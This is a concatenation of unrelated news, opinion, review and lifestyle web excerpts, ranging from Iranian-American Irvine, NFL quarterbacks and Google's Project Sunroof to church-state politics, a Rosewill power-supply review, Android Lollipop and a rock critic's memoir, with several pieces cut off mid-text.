Irvine is home to Iranians who either got tired of traffic and fled for the suburbs or those who recently arrived from Iran and opted for a less-ideologically complex neighborhood of LA to settle in. While monarchists take their politics seriously in the rest of Tehrangeles, in Irvine there are a lot more recent immigrants motivated less by ideological fervor than they are by the desire to improve their economic lot. Folks here tend to be a bit more low key as a result, and honestly Irvine’s not the best place to visit if you’re looking for Tehrangeles.
However, if you do make it down to Irvine, there is one thing that absolutely every Iranian will insist you must stop by: Wholesome Choice. This place is like the Holy Grail of Iranian supermarkets, a stunningly well-organized, healthy, organic, suburban LA version of Tehran that provokes jealousy from even the most ardently urban Tehrangelenos.
While LA Iranian supermarkets compete in who can feel more like a “bazaar” than the other, Wholesome Choice has realized Whole Foods is the way of the future and has gone all out to Persianize it. They’ve also built in a mini food court with Chinese, Indian, Mexican, and – obviously – Iranian food, in case you need your kabob fix take away.
You can even find a liquor called araq – which, unlike its Arab counterpart, in Iran refers to homemade vodka – that is made in Orange County! In Iran, people joke that araq is the drink of choice because everything else is too expensive to smuggle; but in Irvine, they’ve managed to make even homemade booze seem classy. Say what you will about Orange County and its gargantuan, traffic-infested freeways and office parks, but that’s a pretty big accomplishment.
The other best time to visit is 13 days after Nowruz on the holiday of “Sizdebedar,” when Iranians traditionally gather en masse in parks, mountains, and any other green space they can find for a day-long picnic festival. Every year a number of parks across LA host tens of thousands of Iranian revellers – with some even topping 100,000 – and Irvine’s gigantic Mason Park is one of the legendary spots.
Famous Iranian singers set up stages, families bring carpets, samovars, and massive to-go Persian feasts, and everyone spends the whole day having the time of their life. A must-see if you’re in the area.
An End – And A Beginning
This has been but a brief taste of the richness of Iranian-American life in Los Angeles, an attempt to offer the intrepid visitor a sense of the varied geographies of the capital of the Iranian diaspora. Of course, Iranian-American life today is far more than what has been presented here; but if you’re looking to get a taste of modern Tehrangeles and its beauty/glory/weirdness, these are a few places to start.
As a Tehrangeleno myself, everything I have written is filled with utmost love and respect for my community, a community that survived a revolution and managed to rebuild itself in exile thousands of miles away from their homes. Nurtured on the dreams of an Iran of their memories and nostalgia, they have created a world unto itself, a place that hardly resembles pre-1979 Iran anymore than it resembles post-1979 Iran.
And the result has been something, unexpected, and, yes, even beautiful. We hate you, we love you, but at the end of the day, we can’t get away from you. Here’s to looking at you, Tehrangeles.
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RedditWe'll soon have some clarity in the Vikings' QB competition.
Norv Turner told NFL Media Insider Ian Rapoport on Monday that reps have been split evenly between the trio of Matt Cassel, Teddy Bridgewater and Christian Ponder. However, following the Vikes' off day Tuesday, those snaps will be divided between two of those signal-callers.
"These first four days, we've worked three groups," Turner explained. "Matt's gotten a little bit more, Teddy's gotten about a third and Ponder's gotten about a third. We have the day off (Tuesday), and we'll adjust that, probably getting more half and half."
It would be a surprise if Bridgewater was the odd man out. The Vikings selected him in the first round of May's draft, and by all accounts he's impressed so far. Turner said last week that Bridgewater probably should have been selected in the first 10 picks (He was drafted with the last pick in the first round.)
Vikings coach Mike Zimmer also told Rapoport that Bridgewater will get reps with the first team in the preseason.
Cassel grabbed a new contract this offseason, so he would also appear to be on more solid footing than Ponder, who's had countless opportunities to wow past Vikings coaching staffs and failed.
In other news, fans clamoring to see Adrian Peterson likely won't see him until the regular season.
"I don't think he's going to get very many (reps) in the preseason," Zimmer told Rapoport. "I mean, we haven't talked about it the whole preseason -- I don't need to see him. If he wants to go in there and get one run, maybe. I'll talk to Adrian (Peterson) about that.... If he feels like he needs -- I don't feel like he needs to -- but if he feels like he needs to, then we'll do that."
It's a wise move by Zimmer. There's no reason to risk his generational workhorse to extra hits and wear and tear, and it's not like Peterson needs the seasoning.
The latest "Around The League Podcast" offers up team-by-team training camp previews of the NFC East and NFC West.Google has just announced the launch of Project Sunroof, which is designed to help people figure out how to make solar power work for their household.
The project aims to use existing Google Earth data to show people how much sunlight their roof gets, and where each roof's hotspots are. It will also calculate your potential savings, and connect you with a company in your area that can install solar panels.
Project Sunroof was founded after Google noticed a large number of search queries about how to use solar energy. How many panels to install, where to put them, and how financially beneficial the installation would actually be: these were all frequent questions coming from Google users. The process of getting started using solar energy is complicated, and there's no telling how many prospective users were turned off by a lack of information.
Hopefully, Project Sunroof will change that. It's being launched initially in Boston (where the Project Sunroof team is based), the Bay Area, and Fresno; but will eventually be available nationwide.Trump’s nominee for the Supreme Court, appeals court judge Neil Gorsuch, is an anti-choice arch-conservative who sided with Hobby Lobby in the (ultimately successful) lawsuit against the aforementioned birth control mandate. Trump has tapped Liberty University President Jerry Falwell Jr. to head an education task force. He wants to enact a $20 billion school voucher program that would use taxpayer dollars to fund religious education. He’s pledged to “totally destroy” the Johnson Amendment, a 1954 law banning churches from political campaigning. And his ban on immigration from seven majority-Muslim countries was halted by a federal judge for discriminating based on religion.
“When you take vouchers, politicking from the pulpit, the trumping of laws by claims of religion, and the immigration order, that is just a smorgasbord of terrible ideas,” Lynn said in an interview this week.
There’s more. As Michelle Goldberg wrote in The New York Times last month, Trump is “assembling a near-theocratic administration, his cabinet full of avowed enemies of church-state separation.” Vice President Mike Pence believes school should be allowed to teach creationism, that condoms provide “very poor protection,” and has argued that federal AIDS funding should go to organizations that “provide assistance to those seeking to change their sexual behavior.” Attorney General Jeff Sessions has said church-state separation is “unhistorical and unconstitutional.” Education Secretary Betsy DeVos supports taxpayer-funded vouchers for public school students to attend religious schools. And so on.
Meanwhile, congressional Republicans are readying to reintroduce Trump-endorsed legislation that “would limit the federal government’s ability to punish individuals and organizations who oppose same-sex marriage on religious grounds,” according to PBS NewsHour. Walter Olson, a senior fellow at the libertarian Cato Institute, told PBS that the bill, as first introduced in 2015, “is very radical, and would startle and scare middle-of-the-road Republicans”:
Olson argued that the law, as it was originally written, would protect people like Kim Davis, the Kentucky county clerk who grabbed headlines in 2015 when she denied a marriage license to a same-sex couple. The bill also extended protection to pharmacists who refuse to fill birth control prescriptions for unmarried women if they cite that “sexual relations are properly reserved to such a marriage.”
“Everything we hold as being real constitutional freedoms and protections is under assault right now,” Larry Decker, executive director of the Secular Coalition For America, said in an interview.
In addition to legitimizing discrimination under the guise of religious freedom, Trump is further enhancing the privilege of Christianity in America. He’s pledged to prioritize Christian refugees, drawing condemnation from Christian leaders who rightly see the idea as discriminatory. More fundamentally, he’s advancing the politically expedient lie that Christianity itself is somehow under attack in the United States. “Christianity is under tremendous siege,” he said on the campaign trail last year.
“They don’t have a damn clue what religious freedom means. They have bastardized the expression and the definition of it.”
Though Christians face legitimate religious persecution and slaughter for their beliefs around the world, America retains a “dizzying level of religious freedom for Christians,” Lynn told me. Much of Trump’s most passionate campaign rhetoric on this issue last year revolved around his pledge to bring back “Merry Christmas,” the seasonal greeting supposedly endangered by the rise of “Happy Holidays.” This is classic conservative Christian grievance politics, revealing that the religious right’s anxiety is not that their faith is genuinely threatened, but that it no long occupies a privileged place in an increasingly multicultural society.
“They don’t have a damn clue what religious freedom means,” Decker of the Secular Coalition said. “They have bastardized the expression and the definition of it to suggest the only thing that creates real religious freedom is privileging Christianity in this country.”
Deep down, Trump probably regards the religious right with only slightly more esteem than your average Manhattanite. But conservative Christians, evangelicals especially, are a key part of his political coalition, and he’s clearly willing to do almost anything to keep them in his column. He’ll worship them so long as they worship him, happy to politicize religion if it serves his needs.
Decker said it wasn’t for him to question Trump’s faith, but joked that Trump clearly believes in one deity above all. “I do believe that Donald Trump probably is a believer,” he said. “I think he’s a believer in Donald Trump.”Yesterday, Miranda reported on the seemingly contradictory views of the American Center for Law and Justice’s European and Slavic affiliates when it comes to blasphemy laws. The ECLJ has been vocal in opposing blasphemy laws in Muslim-majority countries, but the SCLJ supported passage of a new anti-blasphemy law in Russia. The law provides for fines, “correctional labor” and up to three years behind bars for “public actions expressing obvious disrespect toward society and committed to abuse the religious feelings of believers.” SCLJ’s co-chairman Vladimir Rehyakovsky expressed some reservations about the final form of the law, but said it was “very important” to have such a law in place.
So, where does the ACLJ stand on blasphemy laws? On one hand, it is proud of its opposition in international forums like the United Nations to blasphemy laws that are used by Islamist governments to restrict religious expression. In 2011, the ACLJ said the UN’s Human Rights Committee endorsed an ECLJ-backed position that “no right exists to protect the reputation of an ideology, rather human rights belongs to individuals.”
But more than a decade ago, in response to an “Ask Jay” question posted on the ACLJ’s website, the group’s chief counsel, Jay Sekulow, said it was “an unfortunate situation” that states no longer have laws against blasphemy, something he blamed on “the ACLU and those who trumpet the First Amendment as a license to really degrade people.” Sekulow bemoaned the fact that “religion lacks protection in the law.”
Joe from Rhode Island asks: In Black’s classic law dictionary, blasphemy is illegal. When did it become legal to mock a person’s faith in God? Jay answers: Black’s is the standard of legal definitions that law students are given around the country and Black’s is still cited in Supreme Court decisions. Not only in English common law but also in most states in the USA, blasphemy was prohibited speech. Clearly, the ACLU and those who trumpet the First Amendment as a license to really degrade people have changed that and that’s an unfortunate situation. But you’re absolutely correct, Black’s Law Dictionary is right. There are many definitions like that in Black’s, but religion lacks protection in the law. Not only is religion seen as irrelevant, but religion is trivialized and even mocked. This behavior has become an accepted part of who we are as a people and in some cases the Supreme Court hasn’t been particularly helpful in that context. The composition of the Supreme Court is obviously something we’re always watching because we know that with the more conservative court obviously some of our values will be more protected. Things have changed drastically if you look at our history, and it’s not even old history. Our country is still very young, but things are very different since our founding. We’re continuing to hope here at the American Center for Law and Justice that history will continue to change in a way that protects the rights of religious people across America. This is what we’re working toward. Selection of Supreme Court Justices is critical in the interpretation of these kinds of cases.
So it appears that the ACLJ is ready to champion free speech when it comes to opposing blasphemy laws in Muslim-majority countries, but supports restrictions on blasphemy in place where Christians are in the majority. Perhaps that double standard is not much of a surprise, given that the ACLJ, which portrays itself as a champion of religious liberty, helped lead opposition to the construction of a Muslim community center in New York that critics inaccurately called the “Ground Zero Mosque.”
The ACLJ is a legal group founded by televangelist Pat Robertson and run by Jay Sekulow and his son Jordan in a manner that is very lucrative for the Sekulow family.It was supposed to be a provocative piece of journalism and a tongue-in-cheek comment on German concerns about a European Union bailout for debt-ridden Greece. But the Feb. 22, 2010 cover of the weekly German newsmagazine Focus -- which showed the goddess Aphrodite making an obscene gesture -- caused outrage in Greece. At the time, the president of the Greek parliament even summoned the German ambassador to complain about German media coverage of his country.
Now six Greek citizens who felt particularly offended are taking legal action against the journalists involved, including Helmut Markwort, the magazine's founder who was also editor in chief of Focus at the time of publication.
According to reports in the Wednesday editions of the German newspapers Handelsblatt and Tagesspiegel, Markwort and nine other Focus employees are due to appear in an Athens court on June 29. The newspapers reported that public prosecutor Ourania Stathea is looking into accusations of defamation, libel and the denigration of Greek national symbols.
'I'm Not on the Run'
The Focus cover featured a photograph of the famously armless statue Venus de Milo, which depicts the Greek goddess Aphrodite, that had been doctored so that the deity was showing her middle finger to the viewer. The story, titled "Swindlers in the Euro Family," included a detailed description of what the authors claimed was "2000 years of decline" in Greece, including reports of tax fraud and failed construction projects. The six Greeks who are now suing the journalists maintain that the article included false claims and was also insulting to the Greek people.
Markwort, who could face up to two years in prison, appears unperturbed by the accusations, however. He told the Tagesspiegel that he had a "clean conscience" and had only been performing his "journalistic duty." He said he would only get the magazine's lawyers involved once he had received an official court summons.
Markwort also asserted that he was a great fan of Greece. "I'm not on the run, and I'm also not afraid that I will have to go to prison," he said.In anticipation of Veterans Day, Harris County Sheriff Ed Gonzalez visited Friday a group of veterans who are incarcerated at the county jail.
The inmates are enrolled in the jail’s re-entry program, which helps them become more stable before they are released and also provides them with mental health assistance if they need it.
The inmates are located in a specific section of the jail which they have decorated with the insignias of all the United States military branches and patriotic murals, like one that depicts an American eagle.
Additionally, the bedding materials and the bunk beds frames are red, white and blue.
Sheriff Gonzalez said that makes them feel better because “it’s almost like a military barrack that we’ve created there.”
“It doesn’t make it feel like they’re incarcerated,” Gonzalez added “it makes them feel like they’re still serving.”
Several inmates spoke with the Sheriff and other members of his staff about their experiences in the re-entry program and said it is helping them to gain focus and self-confidence.
Alejandro Hernández, who served in the U.S. Army, thanked the Sheriff for his visit and highlighted that because of the re-entry program “I know what I need to do to stay clean and sober, and I’m willing to do that today.”Last night, Donald Trump crashed a speech Glenn Beck was delivering at a Nevada caucus site on behalf of Ted Cruz, drawing attention away from the right-wing commentator as he was beseeching people to support Cruz.
It was the latest episode in the war of words between Trump and Beck, who today denounced Trump’s supporters |
the West. Suddenly people were told that everything they had done was wrong, their whole way of life was worthless.
"What started as a bottom-up movement ended up as a top-down order," he says.
Media playback is unsupported on your device Media caption German Finance Minister Wolfgang Schaeuble on Germany's reunification
Wolfgang Schaeuble, Germany's Finance Minister, was one of the key architects of reunification. As interior minister at the time, it was his job to implement it.
"Of course mistakes were made," he told the BBC, "but the biggest mistake would have been if we had not acted.
"There was no book in which you could read what should be done. In the end you have to be courageous enough to decide [to act]."
The West German government at the time made the decision to pour money into the re-integration. Exactly how much is not clear but estimates range into the trillions of euros [or deutschmarks at the time].
In a hurry
Mr Schaeuble points out that it was in the German constitution that if East Germany wanted to rejoin the West, they had the right to do so. And, he says, they were in a hurry.
"They felt they had been forced for 40 years not to live like their brothers and sisters in the West and they didn't want to wait a day longer.
"In the end it [reunification] worked... much better than anyone expected."
And it is true that East Germany has come a long way since then. From earning just 45% of their West German compatriots, East Germans now earn 70%. Emigration has reduced to a trickle.
And while it is difficult to see how Eisenhuettenstadt will recover its former glory, not even its citizens would want the Wall back.
"There may have been flaws [in the reunification]," says Mr Baldszus.
"But my wife and I, we were just so happy to see our son."If you’re the type to grab the next Apple product the day it is available, there’s a good chance you are already familiar with selling your current hardware to pay for the next version. The folks at eBay have been paying attention to the last couple of iPhone launches, and apparently the time has come to prepare your current phone for departure if you expect to get the most money back.
There’s no shortage of rumor and hinting, short of an official invite from Apple, suggesting that the announcement for the iPhone 6 is right around the corner. We know from previous events that Apple will make its hardware available in store and shipping to households shortly after, which means the first two weeks of September might as well have Apple’s logo splashed across it in your calendar. Of course, if you are planning to sell your current device to pay for the new model, you’ll need to start making those preparations as well.
According to eBay, peak iPhone sales times are from September 1 to October 24 this year. The earlier end of that spectrum is a little harder to plan for, since that means you’d be a couple of days without a phone if you decided to sell before the 6 is announced or launched. The last few years of Apple releases have provided eBay with plenty of information, including the average demand and price for those looking to buy the previous versions of the iPhone at discounted rates.
If you’re looking to get close to $300 for your current iPhone, the eBay infographic seems to suggest they have a foolproof plan to make sure your phone gets sold. In fact, eBay plans to offer a $100 coupon to anyone who puts their iPhone up for auction within that peak selling time and doesn’t make a sale. There’s sure to be some additional rules around that, but it’s an impressive demonstration of their confidence.Last May, Zen Studios introduced you to our martial arts themed rhythm game, KickBeat, and showed you a couple of trailers that explained the story behind this PS Vita exclusive, available later this fall. Today, we reveal a few of the powerfully energetic songs you can look forward to hearing in KickBeat:
Pendulum – Self vs. Self
Marilyn Manson – The Beautiful People
Rob Zombie – Scum of the Earth
Voicians – The Construct
Shen Yi – War Dance
Celldweller – I Can’t Wait
Styles of Beyond – Nine Thou
Southpaw Swagger – It’s Showtime
Blue Stahli – Ultranumb
Not only are we including some high-energy tracks by acclaimed artists, we are giving you the option to personalize your KickBeat experience by using your own music to make a custom playlist! Check out the video below for a look at how the game plays and what you can expect from KickBeat:
As a thank you to our supportive community, we even have a few KickBeat themed wallpapers free to download! Let us know what you think in the comments below and don’t forget to like us on Facebook, follow us on Twitter and check out the Zen Studios forums and the join the conversation about KickBeat and our other upcoming titles!25 YEARS AT THE SUN: Close enough for rock ‘n’ roll
I have seen The Tragically Hip 14 times, Blue Rodeo 13 times, Nickelback seven times and heard Four Strong Winds at the Edmonton Folk Music Festival 18 years in a row.
I have reviewed approximately 400 concerts in the arena soon to be formerly known as Rexall Place. Ask me to remember 10 and I couldn’t tell you. Eric Clapton with Bonnie Raitt was pretty cool. So was Prince and his mofo badass mind-blowing funk band with Maceo Parker at the Jubilee Auditorium. Holy shit, was that good. Pink Floyd at the stadium was fun, and the only thing I remember is that everyone was stoned. Radiohead was amazing at the Dinwoodie Lounge. Pearl Jam rocked the Shaw Conference Centre. The Ramones played punk in a farmer’s field.
I attended roughly 100 concerts at the Jube, and a like number at the Winspear Centre and the Shaw. Add in festivals, 12 nights a year, maybe, various club shows and the Department of Nice Round Numbers clocks 1,000 concerts I’ve reviewed since I started as a rock critic at the Edmonton Sun in 1992. A thousand concerts in 25 years – close enough for rock ‘n’ roll.
My lucky run came to an end in January after PostMedia decided to “merge” the newsrooms of the Edmonton Sun and Edmonton Journal. My services as a rock critic in newsprint form are no longer required; likewise for many other Canadian journalists laid off. But since live music is a drug habit I can’t break, I will keep doing it on GigCity as if nothing had happened. I’ll stop when they pry the laptop out of my cold, dead hands. It would be ironic to die at a Tragically Hip concert.
There were lots of funny bumps on the road. I was nearly crushed by a collapsing crowd barrier at an outdoor festival featuring Bad Brains in 1993. I was attacked by feral children throwing mudballs in the post-Apocalyptic aftermath of the failed Rockfest ’99 where hundreds of campers were stuck in the mud for days; I was the only witness to the disgraced, bankrupt, fleeing promoter getting kneed in the balls by the female manager of the Five Man Electric Band in the parking lot of the Leduc Motor Inn. He burst into tears.
The nadir of my personal shame was being an exhibition contestant on Canadian Idol. I’d been assigned to write weekly updates of the short-lived reality show, so I had to watch every wretched moment. I made it my quest to be as negative as possible. To get their revenge, the celebrity judges heckled me DURING my performance of That’s Amore. I didn’t get the gold ticket.
They did billboards for Sun columnists one year, and mine was the only one that got defaced. Why me? Sure, I enjoy making fun of things I hate, and earned a reputation as something of an asshole, but I wasn’t being an asshole just for the fun of it. I was doing it as a public service. It’s a music critic’s duty to warn readers about bad entertainment, because time is precious. So I got a lot of vicious hate mail, which only increased when content went online (marking the beginning of the end for daily newspapers). When they recently banned reader comments on stories, I enjoyed imagining pimply little troll heads popping in frustration.
In hundreds of phone interviews, I was hung up on by Billie Joe Armstrong from Green Day, hung up on by Matthew Good, hung up on by John Waite, insulted by Dennis Miller and effectively told that I’m an idiot by Henry Rollins. I was sent an e-mail that said “you suck” by the guy from the Goo Goo Dolls, banned by Tom Cochrane, banned by Amanda Marshall, and banned by Nickelback – and this after having been an early Nickelback supporter. Mistakes were made.
Lester Bangs Rock Critic Rule No. 1: Never make friends with rock stars.
In fact, the less I know about them the better. Rational ignorance works wonders for the enjoyment of music. Thriller is great despite Michael Jackson. For the endless stupid talk from Kanye West, he once made some great music. Note tense. That Auto-tune shitshow he did on Saturday Night Live flat out sucked, but never mind. And I don’t want to know that Justin Bieber acted like a turd, because his new music is actually pretty good.
Have I completely lost it? A lot of new music is pretty good, if you give it a chance. Pop songwriting is an art that has been elevated beyond genre. For all the complaining, we’re living in a golden age of music. It’s a fan’s market, an embarrassment of riches, and you only have to see a local show from almost any experienced local band to know this trend runs deep. The bar keeps getting raised. Bands at all levels keep getting better. They must.
Many old-timers claim that today’s music is lousy, and was better in their day. It’s just an illusion. What we hear of the past are only the good songs. The bad old songs are rightfully forgotten. There’s a reason we haven’t heard Everybody Have Fun Tonight by Wang Chung for 30 years – unless you’re listening to crappy oldies radio. It remains to be seen if Justin Bieber is a genius.
People sometimes ask, “Don’t you get tired of reviewing concerts?” God, no. I get sick of driving myself crazy trying to figure out how many pre-recorded tracks are being used at one of these damned pop diva Cirque du Karaoke spectacles. I am a strong opponent of lip-syncery of any kind. You, too, Coldplay. But when it’s all real and it’s great, there’s nothing like live music. It’s the closest thing we have to witnessing real magic. It’s just sound, but it can focus the attention of thousands of people at once, move them to intense mass emotion, give people hope, inspiration, make them feel joy, sadness, anger, lust, fear, basically all the deadly sins – and isn’t that amazing? The truly great artists are the ones who write songs that become far more famous than they are. They should be applauded. And they are. There is no shame in one-hit wonderment. Only honour.
And what people will pay for the privilege of witnessing a live performance from a top-level artist – that’s amazing, too. Madonna must’ve walked away with a cool million for each of her two shows in Edmonton. She’s worth every penny. Really?! Yes, really.
There were a lot of other great shows at Rexall Place, and soon it’s time to say goodbye to the old girl. Memorable (thanks to looking it up) events include Roger Waters, Taylor Swift, Nine Inch Nails, Sir Paul McCartney, The Eagles, David Bowie, Leonard Cohen, Bruce Springsteen, Sir Elton John, AC/DC, Rammstein, Pearl Jam, Bob Dylan, Guns N’ Roses, Green Day, David Byrne, System of a Down, there’s got to be a list somewhere.
***
Cartoonist Don Kew made this drawing of the Edmonton Sun entertainment-lifestyle section as it was in 1996:0 SHARES Share Tweet
Today we have a review of the Tachyon 550W and the Silentnight 500W power supplies, two middle range, 80Plus Platinum certified products from Rosewill, the company which evolved from the in-house brand of an e-tailer to a stand-alone manufacturer. Both units share the same OEM and a similar output but each aims at a different target group. Read on to find out more about their features and performance.
Rosewill is one of the fastest growing suppliers of PC-related products in the North America at the time of this review. The company started off as an in-house brand of Newegg, the very large and well-known electronic store, but quickly grew into a stand-alone manufacturer, exporting their products in several other countries. Today the company designs, manufactures and exports myriads of products, including hardware for advanced users and enthusiasts. In this review we will be looking at two of their middle capacity but high performance power supply units, the Silentnight 500W and the Tachyon 550W. Although both power supplies are based on the same design, each is aiming towards a different market group. Read on to find out more about their similarities and differences, as well as their advantages and disadvantages.
Rosewill Tachyon 550W Features and specifications
80 PLUS PLATINUM Certified
Continuous [email protected]°C
Single strong 12V rail – idea for Gaming system
SLI & CrossFire Ready – 2 x 6+2pin Connector
Modular cable design
1x Silent 140mm Fan with Auto Fan Speed Control for better silence
Active-PFC with auto AC-input voltage adjustment(100-240V)
Black Coating Housing
Mesh sleeving on all cables for easier cable routing and better ventilation
Over Current/Voltage/Power Protection, Under Voltage Protection, and Short Circuit Protection provide maximum safety to your critical system components
Safety & EMI Approval: cTUVus, FCC, CE, ROHS
Model Tachyon-550 Series Tachyon Type ATX12V v2.31 & EPS12V v2.92 Maximum Power Continuous [email protected]°C Fans 1 x Silent 140mm PFC Active Main Connector 20+4Pin +12V Rails Single PCI-E Connectors 2x 6+2-pin Modular Cabling Support Yes SLI Support Yes Power Good Signal 100-500ms Hold-up Time > 16ms Efficiency > 87%, Up to 92% Over Voltage Protection Yes Overload Protection Yes Input Voltage 100 – 240 V Input Frequency Range 47 – 63 Hz Input Current 10A Output [email protected] [email protected] [email protected] [email protected] [email protected] MTBF 100k hours at 25°C, max. load, nominal input Approvals cTUVus, FCC, CE, ROHS Dimension 5.9 x 3.39 x 6.7 inch
150 x 86 x 170 mm
W x H x D Weight 2.5 kg
5.52 lbs Warranty 5-year One-to-One Replacement
Rosewill Silentnight 500W Features and specificationsWe’re super excited to announce that the hotly anticipated Kat Von D Beauty range will soon be available at Debenhams soon, so keep checking back for regular updates.
Kat Von D came to the fore with her tattoo artistry skills before breaking into the world of beauty in 2008. Since then her make up collection and inspirational how-to videos have caused a buzz with beauty junkies around the globe.
Here’s a rundown of a few of our favourites:
Shade & Light Face Contour Palette
This contour collection was a game changer for makeup mavericks everywhere! Inspired by an artist’s palette, Kat created six matte shades that look truly stunning on EVERYONE!
Studded Kiss Lipstick
Each long-wear, pigment-rich lipstick is formulated with Colour Cushion Technology™ to keep your pout feeling comfy and velvety soft. Just swipe it across lips to lock in bold, badass colour with unstoppable wear.
Tattoo Liner
The precision brush tip is the key to super-fine lines. 325 flexible bristles come together in a tight, crisp point, ready to unleash invincible lines. The supple, saturated brush glides across lids in silky, smooth strokes, making Tattoo Liner the ultimate tool for both makeup newbies and beauty pros alike.
Metal Crush Eyeshadow
Create stand-out eyes with this intensely pigmented eyeshadow made from Kat’s proprietary Colour-Soaked Concentrated that helps to deliver the highest possible level of pigment and pearl in an ultra long=wear formula.
Don’t forget to tag us in your Kat Von D looks & favourite products using #KVDXDebenhams for the chance to be featured on our site!Mr. Hollande, born in Rouen, the son of a doctor and a social worker, has said the country needs “a normal president,” a backhanded slap at Mr. Sarkozy, who has a driven, relentless personality and who has embroiled the French more in his personal life than many people find comfortable. At 56, he is awaiting the birth of a child with his third wife, the singer Carla Bruni-Sarkozy.
Mr. Hollande is intelligent and witty, educated at France’s most elite schools, but inexperienced in government, as his rivals constantly point out. He was Ms. Aubry’s predecessor as leader of the Socialist Party and was close to Ms. Aubry’s father, Jacques Delors, but he has never been a government minister or run a business. He is a member of Parliament and the president of the regional department of Corrèze, a rural area best known for its connections to former President Jacques Chirac, with whom Mr. Hollande has warm relations.
Mr. Hollande inherited a region steeped in debts, many of them from Chirac-initiated infrastructure projects, and is considered to have managed the budget well. But Corrèze is one of the smallest departments in France and does not really compare with governing a nation that sits on the United Nations Security Council, possesses nuclear weapons and is the only country in the world, besides the United States, to have a nuclear-powered aircraft carrier.
Foreign affairs barely entered the Socialist Party’s primary and its televised debates, and Mr. Hollande is considered something of a work in progress. But foreign policy, which Mr. Sarkozy considers one of his strengths, is a prime prerogative of the French president.
Photo
The Socialist contest was always an odd one, because the putative favorite for the nomination — Dominique Strauss-Kahn, the former managing director of the International Monetary Fund — did not run after he was arrested on charges of attempted rape in New York. The charges were dropped, but Mr. Strauss-Kahn retreated from political life.
Ms. Aubry had made a deal with Mr. Strauss-Kahn that she would not run if he did, so in a sense she was an accidental candidate. Mr. Hollande had declared his candidacy from the outset, positioning himself as the main rival to Mr. Strauss-Kahn. A centrist, emollient figure, Mr. Hollande was the natural inheritor of those who supported the center-right Strauss-Kahn, but Ms. Aubry attacked him as “soft” and “vague.”
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Mr. Hollande for many years was the partner of his Socialist rival and the 2007 presidential candidate, Ségolène Royal, and they have four children together. They separated that year, and Mr. Hollande now lives with a political journalist, Valérie Trierweiler, 46, who is divorced with three children. Ms. Trierweiler is said to not relish the idea of being the partner to a French president. This month the government denied reports that it was investigating her private life.
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This primary was a departure for the Socialists, in that voting was open to any French citizen who paid at least one euro ($1.39) and signed a pledge to support “the values of the left and of the republic.”
About 2.7 million people voted on Oct. 9, when Mr. Hollande won 39 percent of the vote to Ms. Aubry’s 31 percent, forcing a runoff. About the same number, 2.7 million, are thought to have voted in Sunday’s second round. By comparison, more than 36.7 million people voted in the first round of the 2007 presidential contest.
Still, the Socialists called the primary a democratic advance, contrasting it to the backroom deals that resulted in Mr. Sarkozy’s becoming the candidate of his party. While the number of voters in this primary may have been relatively modest, many more watched last Wednesday’s televised Socialist debate.1. Supermans Who doesn't want to think they have super powers? Great stretch as well when you picture trying to touch the opposing walls with your fingers and toes. View Exercise »
2. Push-up The Push-up is an oldie but goodie. You can modify intensity by changing hand placement. View Exercise »
3. Contralateral Limb Raises Don’t let the name scare you – this is great for toning those troubling upper body areas. View Exercise »
4. Bent Knee Push-up A great starting option if you struggle with the correct form using a full Push-Up. View Exercise »
8. Front Plank This is harder than it looks! Your back and abs will love you. View Exercise »
9. Side Plank with Bent Knee Great way to add in hips work without the need for any equipment other than your own body weight. View Exercise »
10. Supine Reverse Crunches Advanced crunch that targets the entire core region. If you feel pain in your back – STOP. View Exercise »
11. Cobra This is my “good morning, time to wake up” exercise – great way to get ready for a busy day. View Exercise »
12. Squat Jumps A bit of heart rate work while working on total body movement. View Exercise »
13. Forward Lunge If I could only do one leg exercise for the rest of my life, a lunge would be my choice. View Exercise »
14. Forward Lunge with Arm Drivers Start with the regular lunge and work up to this advanced exercise hitting some core areas. View Exercise »
16. Glute Bridge Real people do yoga – and this is a great entry exercise to the power of slow and controlled movements. View Exercise »
17. Hip Rotations (Push-up Position) I’ve always had problems finding a good hip exercise – do this before any push-up exercises so you can stabilize your body before fatigue. View Exercise »
18. Side Lunge Advanced in terms of needing to include some movement into what becomes a static pose. View Exercise »
19. Side Lying Hip Abduction A common mistake is raising the leg too high in this exercise. Small but effective movement. View Exercise »
21. Side Plank (Modified) Advanced exercise that brings together a combination of core exercises. If you feel joint pain, STOP. View Exercise »
23. Single Leg Stand I do this one while brushing my teeth in the morning – some call it crazy, I call it multi-tasking. View Exercise »
24. Standing Calf Raises - Wall My shins are my weak points, thus finding a great exercise like this to improve that area is important. View Exercise »Posted 14 October 2014 17:31 CET by Jan Willem Aldershoff
The Chromium issue tracker has revealed a hidden gem today, a screenshot posted by a Google developer reveals the debug icon of Android L and it’s a Lollipop. Until now there has been a lot of speculation about the name of Google’s upcoming Android release with the Lollipop name frequently mentioned but never confirmed. The debug icon consists of the face of the famous Android Robot on a stick.
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Although Lollipop was the rumored name for the next version of Android, Google developers referred to Android L as LMP, which likely stands for Lemon Meringue Pie. Using two different names for the same Android release is nothing new. Prior to the release of Android Kitkat, Google developers also posted code in a branch with the name KLP (Key Lime Pie).
Recently it was rumored the new Android version would be called Licorice, the designer of the statues Google puts near their HQ hinted on that name on his Google+ page. Google adds so called “Android lawn statues” with every release of Android. They are a series of large plastic statues located near GooglePlex and so far include a large statue of a Kitkat candy bar, Jellybeans, a large Android Cupcake and so on for every Android release since Android 1.5 Cupcake.
Read more: All Windows versions vulnerable to 0-day exploit
It seems that the “Android lawn” will soon see a large Lollipop statue and not a Licorice one as the designer hinted at. Android Lollipop is expected to be released this month. It’s expected also the Nexus 6 or Nexus 9 will be released together with the OS.
Update: Google has just removed the page where the issue was listed. Apparently they didn’t want us to know. Here’s a screenshot of that page.From the outside at least, the actress Mo’Nique and her husband of 11 years, Sidney Hicks, would seem to be in the middle of a rocky marriage. Both have had sexual relationships with other partners for years — and continue to do so. And each is well aware of the other’s escapades.
But, the couple insist, the relationship is actually quite stable and they are quite happy. In fact, it has been a decade since Mo’Nique revealed in an Essence magazine article that she and Mr. Hicks, an actor and producer, were in an open marriage.
Now they have begun a podcast that plays on their unusual partnership. In “Mo’Nique and Sidney’s Open Relationship,” which is on Play.It, the CBS podcast network, the couple explains how the so-called polyamorous lifestyle works for them.
The open-marriage concept has been around for a long time, but some marital experts (though not all) say that couples interested in reaching a golden anniversary, or maybe even a first one, should be wary of following the example of Mo’Nique and Mr. Hicks, who are both 48.The terror suspect had been living in Uttar Pradesh since 2011, said NIA officials.
Highlights Abdullah is suspected to be linked to Ansarullah Bangla Team He was living in UP since 2011: NIA sources He allegedly provided fake IDs, hideouts to Bangladeshi terror recruits
